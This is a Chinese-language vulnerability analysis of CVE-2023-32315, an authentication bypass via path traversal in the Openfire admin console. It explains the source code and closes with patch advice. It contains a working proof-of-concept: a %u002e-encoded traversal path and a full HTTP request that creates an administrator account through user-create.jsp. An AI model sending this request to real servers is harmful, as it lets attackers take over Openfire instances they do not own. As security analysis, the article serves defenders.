漏洞分析|openfire web管理员控制台验证绕过漏洞(CVE-2023-32315)

1.漏洞描述

Ignite Realtime Openfire是Ignite Realtime社区的一款采用Java开发且基于XMPP（前称Jabber，即时通讯协议）的跨平台开源实时协作（RTC）服务器，它能够构建高效率的即时通信服务器，并支持上万并发用户数量。

在 4.7.4 和 4.6.7 之前的版本中，发现 Openfire 的管理控制台（管理控制台）是一个基于 Web 的应用程序，容易受到通过设置环境进行的路径遍历攻击。这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境来访问为管理用户保留的 Openfire 管理控制台中的受限页面。

2.影响版本

3.10.0 <= Openfire < 4.6.8，4.7.0 <= Openfire < 4.7.5

3.影响范围

4.漏洞分析

先从xmppserver/src/main/webapp/WEB-INF/web.xml开始分析，这段配置定义了一个AuthCheck filter，用于排除对部分url的权限检查，包括登录/注销页面、系统设置及其子页面、静态资源文件等：

接着查看filter，xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java

这里的excludes就是AuthCheck filter配置的部分，然后就去调用testURLPassesExclude()，若返回true，则break，也就说明请求路径无需鉴权。

testURLPassesExclude()起到了关键作用。

因为匹配到excludes存在的setup/setup-*，进入url检测，这里已经对”..”以及”%2e”进行了过滤，所以普通的路径遍历特征都会被拦截，但新版本中的Jetty Web服务器支持对%u002e这类非标准unicode uri的解析，也就又给攻击者提供了一种利用方式。

首先看org.eclipse.jetty.http.HttpURI#parse() ，这是Jetty中用于解析HTTP请求URI的方法。它的作用是将HTTP请求URI字符串解析为一个包含多个属性的Java对象，以便Jetty可以根据这些属性来处理HTTP请求，我们需要关注的是URI的路径部分是如何处理的：

这里给出了两个判断条件，第一，如果URI的路径部分既没有进行编码，也没有包含点或双点符号，则说明路径是正确的，可以直接使用；第二，如果URI的路径部分不为空，则需要对它进行解码和规范化操作，着重关注第二个条件，代码先使用了URIUtil.decodePath()方法对_path进行解码，得到解码后的路径字符串。然后，又使用URIUtil.canonicalPath()方法对解码后的路径字符串进行规范化，得到规范化后的路径字符串。最后，如果规范化后的路径字符串为null，则抛出IllegalArgumentException异常。

跟进org.eclipse.jetty.util.URIUtil#decodePath()，进一步分析%uxxxx的解码流程：

主要的解码逻辑写在了for循环里，它会遍历整个路径字符串，并对编码字符进行解码。其中，builder用于存储解码后的路径字符串，如果遇到%，会检查builder是否为null，如果是的话，就说明还没有解码过任何字符，需要先将%前面的字符拷贝到builder中，这样做的目的是保证解码后的uri路径完整。然后，再根据后面的字符决定unicode/ascii解码，得到解码后的路径字符串，最后由org.eclipse.jetty.util.URIUtil#canonicalPath()进行规范处理。以绕过的payload为例，处理流程如下：

/setup/setup-/%u002e%u002e/%u002e%u002e/log.jsp
-> /setup/setup-/../../log.jsp
-> /log.jsp

Poc：
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=test&name=&email=&password=test&passwordConfirm=test&isadmin=on&create=Create+User HTTP/1.1
Host: ip:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken

5.修复建议

• 官方升级

目前官方已发布安全版本修复此漏洞，建议受影响的用户及时升级防护：

https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm